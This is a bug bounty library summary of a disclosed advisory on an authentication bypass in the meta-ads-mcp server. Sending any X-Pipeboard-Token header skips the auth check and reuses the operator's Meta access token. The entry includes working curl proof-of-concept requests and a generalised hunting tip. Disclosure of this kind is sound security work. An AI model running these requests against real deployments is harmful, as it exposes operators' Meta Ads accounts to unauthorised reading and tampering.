# meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

AuthInjectionMiddleware in meta-ads-mcp only rejects requests when both tokens are absent, so an arbitrary X-Pipeboard-Token header bypasses auth and reuses the operator's META_ACCESS_TOKEN.

- Payout: Research
- Severity: high
- Program: Meta
- Found by: EQSTLab
- Disclosed: 2026-07-17
- CVE: CVE-2026-54547
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2v2f-mvfg-ph56
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2v2f-mvfg-ph56
- Tags: area:web domain:api impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:python technique:default-creds technique:source-review vuln:access-control vuln:auth-bypass

**Target:** MCP server HTTP transport (streamable-http) AuthInjectionMiddleware
**Root cause:** The middleware guard uses `if not auth_token and not pipeboard_token`, but extract_token_from_headers() does not recognize X-Pipeboard-Token while extract_pipeboard_token_from_headers() does, so sending that header alone makes the guard false without setting any auth context.
**Steps:**
1. Deploy meta-ads-mcp in streamable-http mode with META_ACCESS_TOKEN set (Dockerfile sets FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890).
2. POST /mcp with `{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}` and no auth header → expect HTTP 401.
3. Repeat the same POST adding header `X-Pipeboard-Token: attacker-controlled-not-validated` → expect HTTP 200 with 37 tools listed.
4. POST tools/call `get_ad_accounts` with the same header → Meta Graph API returns OAuthException code 190, proving the operator token was forwarded.
**How found:** Code review of the middleware: noticed the guard requires both tokens absent, then compared the two header extractors and found X-Pipeboard-Token is recognized by one but not the other, creating an asymmetric truthiness gap.
**Exploitation:** Any network-reachable caller sends an arbitrary X-Pipeboard-Token header; the middleware passes the request, no auth context is set, and the token getter falls back to the server's META_ACCESS_TOKEN env var, which @meta_api_tool injects into every tool call. The attacker then reads/writes the operator's Meta Ads data (accounts, campaigns, creatives, audiences, insights) via the Meta Graph API.
**Insight:** When an auth guard ANDs two 'not present' checks, enumerate every header each extractor recognizes — a header understood by one extractor but not the other lets you satisfy the guard without authenticating. Also check what the token getter falls back to when no auth context is set.

## Proof of concept (copied exactly from the original report)

**curl request with X-Pipeboard-Token bypassing auth**

```
curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 200  {"jsonrpc":"2.0","result":{"tools":[...]}}  (37 tools listed)
```

**tools/call get_ad_accounts proving operator token forwarded**

```
curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
# was forwarded to Meta. With a real operator token, ad account data is returned.
```

